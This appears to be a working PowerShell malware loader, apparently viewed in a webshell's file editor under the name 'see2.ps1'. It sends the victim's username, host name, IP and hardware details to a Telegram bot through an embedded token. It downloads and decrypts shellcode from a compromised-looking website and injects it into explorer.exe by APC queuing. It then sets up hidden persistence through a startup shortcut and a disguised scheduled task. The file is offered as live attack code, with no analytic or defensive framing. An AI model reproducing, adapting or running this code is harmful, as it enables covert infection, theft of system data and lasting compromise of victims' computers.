One Hat Cyber Team

Edit File: see2.ps1

# === CONFIG ===
# Enhanced protocol support
[Net.ServicePointManager]::SecurityProtocol = 
    [Net.SecurityProtocolType]::Tls12 -bor 
    [Net.SecurityProtocolType]::Tls13 -bor 
    [Net.SecurityProtocolType]::Tls11 -bor 
    [Net.SecurityProtocolType]::Tls

$url = "https://www.lelopagani.com.br/assets/js/pp10.bin"
$xorKey = 0x5A
$aesPassword = "S3cur3Passphras3!"
$group = "MDG"

# === IMPROVED LOGGING FUNCTION ===
function Write-Log {
    param([string]$Message, [string]$Level = "INFO")
    $timestamp = Get-Date -Format "yyyy-MM-dd HH:mm:ss"
    $logEntry = "[$timestamp] [$Level] $Message"
    Write-Host $logEntry
    # Could also write to file: $logEntry | Out-File -Append -FilePath "$env:TEMP\injector.log"
}

# === IMPROVED TELEGRAM NOTIFICATION ===
function Send-TelegramNotify {
    try {
        $username = $env:USERNAME
        $computerName = $env:COMPUTERNAME
        
        # More robust system info gathering
        $cpu = try { (Get-CimInstance Win32_Processor).Name.Trim() } catch { "Unknown" }
        $gpu = try { (Get-CimInstance Win32_VideoController | Select-Object -First 1).Name.Trim() } catch { "Unknown" }
        $ram = try { 
            $totalBytes = (Get-CimInstance Win32_ComputerSystem).TotalPhysicalMemory
            "{0:N2} GB" -f ($totalBytes / 1GB)
        } catch { "Unknown" }
        
        # Fallback IP resolution
        $ip = try {
            (Invoke-RestMethod -Uri "https://api.ipify.org/?format=json" -TimeoutSec 5).ip
        } catch {
            try {
                (Get-NetIPAddress | Where-Object { $_.AddressFamily -eq 'IPv4' -and $_.PrefixOrigin -eq 'Dhcp' } | Select-Object -First 1).IPAddress
            } catch { "Unknown" }
        }
        
        $os = [System.Environment]::OSVersion.VersionString
        
        $msg = @"
[+] New hit
User: $username
Host: $computerName
OS: $os
IP: $ip
CPU: $cpu
GPU: $gpu
RAM: $ram
Group: $group
Timestamp: $(Get-Date -Format 'yyyy-MM-dd HH:mm:ss')
"@
        
        $bot = "7252153973:AAEEKvgf-cwqvWPviTklhbY6BPRbjwK3Jqw"
        $chat = "-1002513798195"
        $uri = "https://api.telegram.org/bot$bot/sendMessage"
        
        $body = @{
            chat_id = $chat
            text = $msg
            disable_notification = $true
        }
        
        Invoke-RestMethod -Uri $uri -Method Post -Body $body -TimeoutSec 10 | Out-Null
        Write-Log "Telegram notification sent successfully" -Level "INFO"
        
    } catch {
        Write-Log "Failed to send Telegram notification: $_" -Level "ERROR"
    }
}

# === IMPROVED API IMPORT WITH APC SUPPORT ===
try {
    $kernel32 = @"
using System;
using System.Runtime.InteropServices;

public class Win32 {
    [DllImport("kernel32.dll", SetLastError=true)]
    public static extern IntPtr OpenProcess(uint dwDesiredAccess, bool bInheritHandle, int dwProcessId);
    
    [DllImport("kernel32.dll", SetLastError=true)]
    public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
    
    [DllImport("kernel32.dll", SetLastError=true)]
    public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, int nSize, out IntPtr lpNumberOfBytesWritten);
    
    [DllImport("kernel32.dll", SetLastError=true)]
    public static extern IntPtr CreateToolhelp32Snapshot(uint dwFlags, uint th32ProcessID);
    
    [DllImport("kernel32.dll", SetLastError=true)]
    public static extern bool Thread32First(IntPtr hSnapshot, IntPtr lpte);
    
    [DllImport("kernel32.dll", SetLastError=true)]
    public static extern bool Thread32Next(IntPtr hSnapshot, IntPtr lpte);
    
    [DllImport("kernel32.dll", SetLastError=true)]
    public static extern IntPtr OpenThread(uint dwDesiredAccess, bool bInheritHandle, uint dwThreadId);
    
    [DllImport("kernel32.dll", SetLastError=true)]
    public static extern uint QueueUserAPC(IntPtr pfnAPC, IntPtr hThread, IntPtr dwData);
    
    [DllImport("ntdll.dll")]
    public static extern uint NtQueueApcThread(
        IntPtr ThreadHandle,
        IntPtr ApcRoutine,
        IntPtr ApcArgument1,
        IntPtr ApcArgument2,
        IntPtr ApcArgument3);
    
    [DllImport("kernel32.dll", SetLastError=true)]
    public static extern uint GetLastError();
    
    [DllImport("kernel32.dll", SetLastError=true)]
    public static extern bool CloseHandle(IntPtr hObject);

[StructLayout(LayoutKind.Sequential)]
    public struct THREADENTRY32 {
        public uint dwSize;
        public uint cntUsage;
        public uint th32ThreadID;
        public uint th32OwnerProcessID;
        public int tpBasePri;
        public int tpDeltaPri;
        public uint dwFlags;
    }
}
"@
    
    Add-Type -TypeDefinition $kernel32 -IgnoreWarnings -ErrorAction Stop
    Write-Log "Win32 APIs imported successfully" -Level "INFO"
} catch {
    Write-Log "Failed to import Win32 APIs: $_" -Level "ERROR"
    exit 1
}

# === IMPROVED DECRYPTION FUNCTION ===
function Decrypt-DonutStub {
    param([byte[]]$data)
    
    try {
        if ($data.Length -lt 32) {
            throw "Data too short for decryption"
        }
        
        $key = [System.Text.Encoding]::UTF8.GetBytes($aesPassword.PadRight(32, 'X').Substring(0,32))
        $iv = $data[0..15]
        $cipher = $data[16..($data.Length - 1)]

$aes = [System.Security.Cryptography.Aes]::Create()
        $aes.Key = $key
        $aes.IV = $iv
        $aes.Mode = [System.Security.Cryptography.CipherMode]::CBC
        $aes.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7

$decryptor = $aes.CreateDecryptor()
        $xorData = $decryptor.TransformFinalBlock($cipher, 0, $cipher.Length)

# Parallel XOR for better performance on large payloads
        $result = New-Object byte[] $xorData.Length
        for ($i = 0; $i -lt $xorData.Length; $i++) {
            $result[$i] = $xorData[$i] -bxor $xorKey
        }

Write-Log "Payload decrypted successfully ($($result.Length) bytes)" -Level "INFO"
        return $result
        
    } catch {
        Write-Log "Decryption failed: $_" -Level "ERROR"
        return $null
    } finally {
        if ($aes) { $aes.Dispose() }
        if ($decryptor) { $decryptor.Dispose() }
    }
}

# === HELPER FUNCTION: ENUMERATE THREADS ===
function Get-ProcessThreads {
    param([uint32]$ProcessId)
    
    $TH32CS_SNAPTHREAD = 0x00000004
    $snapshot = [Win32]::CreateToolhelp32Snapshot($TH32CS_SNAPTHREAD, 0)
    
    if ($snapshot -eq [IntPtr]::new(-1)) {
        throw "Failed to create thread snapshot"
    }
    
    try {
        $te32 = New-Object Win32+THREADENTRY32
        $te32.dwSize = [System.Runtime.InteropServices.Marshal]::SizeOf($te32)
        $tePtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($te32.dwSize)
        [System.Runtime.InteropServices.Marshal]::StructureToPtr($te32, $tePtr, $false)
        
        $threads = @()
        
        if ([Win32]::Thread32First($snapshot, $tePtr)) {
            do {
                $te32 = [System.Runtime.InteropServices.Marshal]::PtrToStructure($tePtr, [Type][Win32+THREADENTRY32])
                if ($te32.th32OwnerProcessID -eq $ProcessId) {
                    $threads += $te32.th32ThreadID
                }
            } while ([Win32]::Thread32Next($snapshot, $tePtr))
        }
        
        [System.Runtime.InteropServices.Marshal]::FreeHGlobal($tePtr)
        return $threads
    }
    finally {
        [Win32]::CloseHandle($snapshot) | Out-Null
    }
}

# === IMPROVED INJECTION FUNCTION WITH APC ===
function Invoke-ProcessInjection {
    param(
        [byte[]]$Shellcode,
        [string]$ProcessName = "explorer"
    )
    
    $hProc = [IntPtr]::Zero
    $addr = [IntPtr]::Zero
    $threadHandles = @()
    
    try {
        Write-Log "Attempting APC injection into $ProcessName" -Level "INFO"
        
        # Get process with better error handling
        $target = Get-Process -Name $ProcessName -ErrorAction Stop | Select-Object -First 1
        if (-not $target) {
            throw "Process '$ProcessName' not found"
        }
        
        $targetPid = $target.Id
        Write-Log "Target PID: $targetPid" -Level "INFO"
        
        # Process access constants
        $PROCESS_ALL_ACCESS = 0x1F0FFF
        $MEM_COMMIT = 0x1000
        $MEM_RESERVE = 0x2000
        $PAGE_EXECUTE_READWRITE = 0x40
        $THREAD_SET_CONTEXT = 0x0010
        
        # Open process
        $hProc = [Win32]::OpenProcess($PROCESS_ALL_ACCESS, $false, $targetPid)
        if ($hProc -eq [IntPtr]::Zero) {
            $errorCode = [Win32]::GetLastError()
            throw "OpenProcess failed with error: $errorCode"
        }
        Write-Log "Process opened successfully" -Level "INFO"
        
        # Allocate memory
        $addr = [Win32]::VirtualAllocEx($hProc, [IntPtr]::Zero, $Shellcode.Length, ($MEM_COMMIT -bor $MEM_RESERVE), $PAGE_EXECUTE_READWRITE)
        if ($addr -eq [IntPtr]::Zero) {
            $errorCode = [Win32]::GetLastError()
            throw "VirtualAllocEx failed with error: $errorCode"
        }
        Write-Log "Memory allocated at 0x$($addr.ToString('X'))" -Level "INFO"
        
        # Write shellcode
        $bytesWritten = [IntPtr]::Zero
        $success = [Win32]::WriteProcessMemory($hProc, $addr, $Shellcode, $Shellcode.Length, [ref]$bytesWritten)
        if (-not $success -or $bytesWritten -eq 0) {
            $errorCode = [Win32]::GetLastError()
            throw "WriteProcessMemory failed with error: $errorCode"
        }
        Write-Log "Shellcode written ($bytesWritten bytes)" -Level "INFO"
        
        # Enumerate threads in target process
        $threads = Get-ProcessThreads -ProcessId $targetPid
        
        if ($threads.Count -eq 0) {
            throw "No threads found in target process"
        }
        
        Write-Log "Found $($threads.Count) threads in target process" -Level "INFO"
        
        # Queue APC to the first 3 threads
        $successCount = 0
        $threadCounter = 0
        
        foreach ($threadId in $threads) {
            try {
                if ($threadCounter -ge 3) { break } # Stop after queuing to 10 threads
                
                # Open thread with SET_CONTEXT access
                $hThread = [Win32]::OpenThread($THREAD_SET_CONTEXT, $false, $threadId)
                
                if ($hThread -eq [IntPtr]::Zero) {
                    Write-Log "Failed to open thread $threadId" -Level "WARNING"
                    continue
                }
                
                $threadHandles += $hThread
                
                # Queue APC using NtQueueApcThread (more stealthy)
                $status = [Win32]::NtQueueApcThread(
                    $hThread,
                    $addr,
                    [IntPtr]::Zero,
                    [IntPtr]::Zero,
                    [IntPtr]::Zero
                )
                
                if ($status -eq 0) {  # STATUS_SUCCESS
                    $successCount++
                    Write-Log "APC queued to thread $threadId" -Level "INFO"
                } else {
                    Write-Log "NtQueueApcThread failed for thread $threadId with status: 0x$($status.ToString('X8'))" -Level "WARNING"
                }
                
                $threadCounter++
            } catch {
                Write-Log "Error processing thread ${threadId}: $_" -Level "WARNING"
            }
        }
        
        if ($successCount -eq 0) {
            throw "Failed to queue APC to any threads"
        }
        
        Write-Log "Successfully queued APC to $successCount thread(s)" -Level "INFO"
        
        return $true
        
    } catch {
        Write-Log "Injection failed: $_" -Level "ERROR"
        return $false
    } finally {
        # Cleanup thread handles
        foreach ($handle in $threadHandles) {
            [Win32]::CloseHandle($handle) | Out-Null
        }
        
        # Cleanup process handle
        if ($hProc -ne [IntPtr]::Zero) {
            [Win32]::CloseHandle($hProc) | Out-Null
        }
    }
}

# === MAIN EXECUTION WITH BETTER ERROR HANDLING ===
Write-Log "Script started" -Level "INFO"

try {
    # Send notification
    Send-TelegramNotify
    
    # Download payload with retry logic
    $maxRetries = 3
    $retryCount = 0
    $enc = $null
    
    while ($retryCount -lt $maxRetries) {
        try {
            Write-Log "Downloading payload (attempt $($retryCount + 1)/$maxRetries)" -Level "INFO"
            $enc = (Invoke-WebRequest -Uri $url -UseBasicParsing -TimeoutSec 30).Content
            Write-Log "Payload downloaded successfully ($($enc.Length) bytes)" -Level "INFO"
            break
        } catch {
            $retryCount++
            if ($retryCount -eq $maxRetries) {
                throw "Failed to download payload after $maxRetries attempts: $_"
            }
            Write-Log "Download failed, retrying in 2 seconds..." -Level "WARNING"
            Start-Sleep -Seconds 2
        }
    }
    
    # Decrypt payload
    $donutShellcode = Decrypt-DonutStub $enc
    if (-not $donutShellcode) {
        throw "Failed to decrypt payload"
    }
    
    # Perform injection
    $injectionResult = Invoke-ProcessInjection -Shellcode $donutShellcode -ProcessName "explorer"
    if ($injectionResult) {
        Write-Log "Injection completed successfully" -Level "SUCCESS"
    } else {
        Write-Log "Injection failed" -Level "ERROR"
    }
    
} catch {
    Write-Log "Main execution failed: $_" -Level "ERROR"
}

# === IMPROVED PERSISTENCE SETUP ===
# === IMPROVED PERSISTENCE SETUP ===
try {
    Write-Log "Setting up persistence" -Level "INFO"
    
    $ps1Url = "https://www.lelopagani.com.br/assets/js/tt2.txt"
    $ps1Path = "$env:APPDATA\tt2.ps1"
    $lnkPath = "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\tt2.lnk"
    
    # Download with retry logic
    $maxRetries = 3
    $retryCount = 0
    while ($retryCount -lt $maxRetries) {
        try {
            Invoke-WebRequest -Uri $ps1Url -OutFile $ps1Path -TimeoutSec 30 -UseBasicParsing
            Write-Log "Downloaded persistence script to $ps1Path" -Level "INFO"
            break
        } catch {
            $retryCount++
            if ($retryCount -eq $maxRetries) {
                throw "Failed to download persistence script: $_"
            }
            Start-Sleep -Seconds 2
        }
    }
    
    # Verify file exists and has content
    if (-not (Test-Path $ps1Path) -or (Get-Item $ps1Path).Length -eq 0) {
        throw "Persistence script is empty or missing"
    }
    
    # Create shortcut with COM object error handling
    try {
        $WScriptShell = New-Object -ComObject WScript.Shell -ErrorAction Stop
        $shortcut = $WScriptShell.CreateShortcut($lnkPath)
        $shortcut.TargetPath = "$env:WINDIR\System32\WindowsPowerShell\v1.0\powershell.exe"
        $shortcut.Arguments = "-WindowStyle Hidden -ExecutionPolicy Bypass -NoProfile -File `"$ps1Path`""
        $shortcut.WorkingDirectory = "$env:APPDATA"
        $shortcut.WindowStyle = 7  # Hidden window
        $shortcut.Save()
        Write-Log "Startup shortcut created: $lnkPath" -Level "INFO"
        
        # Release COM object
        [System.Runtime.Interopservices.Marshal]::ReleaseComObject($WScriptShell) | Out-Null
        [System.Runtime.Interopservices.Marshal]::ReleaseComObject($shortcut) | Out-Null
        
    } catch {
        Write-Log "Failed to create shortcut: $_" -Level "ERROR"
    }

# Create scheduled task
    try {
        $taskName = "UpdaterEvery12h"
        $ps1Path = "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\tt2.ps1"
        
        $action = New-ScheduledTaskAction -Execute "$env:WINDIR\System32\WindowsPowerShell\v1.0\powershell.exe" `
            -Argument "-WindowStyle Hidden -ExecutionPolicy Bypass -File `"$ps1Path`""

$triggerAM = New-ScheduledTaskTrigger -Daily -At 4:00AM
        $triggerPM = New-ScheduledTaskTrigger -Daily -At 4:00PM

Register-ScheduledTask -TaskName $taskName -Action $action -Trigger @($triggerAM, $triggerPM) `
            -Description "Run tt.ps1 at 4AM and 4PM" -Force
    } catch {
        Write-Log "Failed to create task: $_" -Level "ERROR"
    }
} catch {
    Write-Log "Failed to set up persistence: $_" -Level "ERROR"
}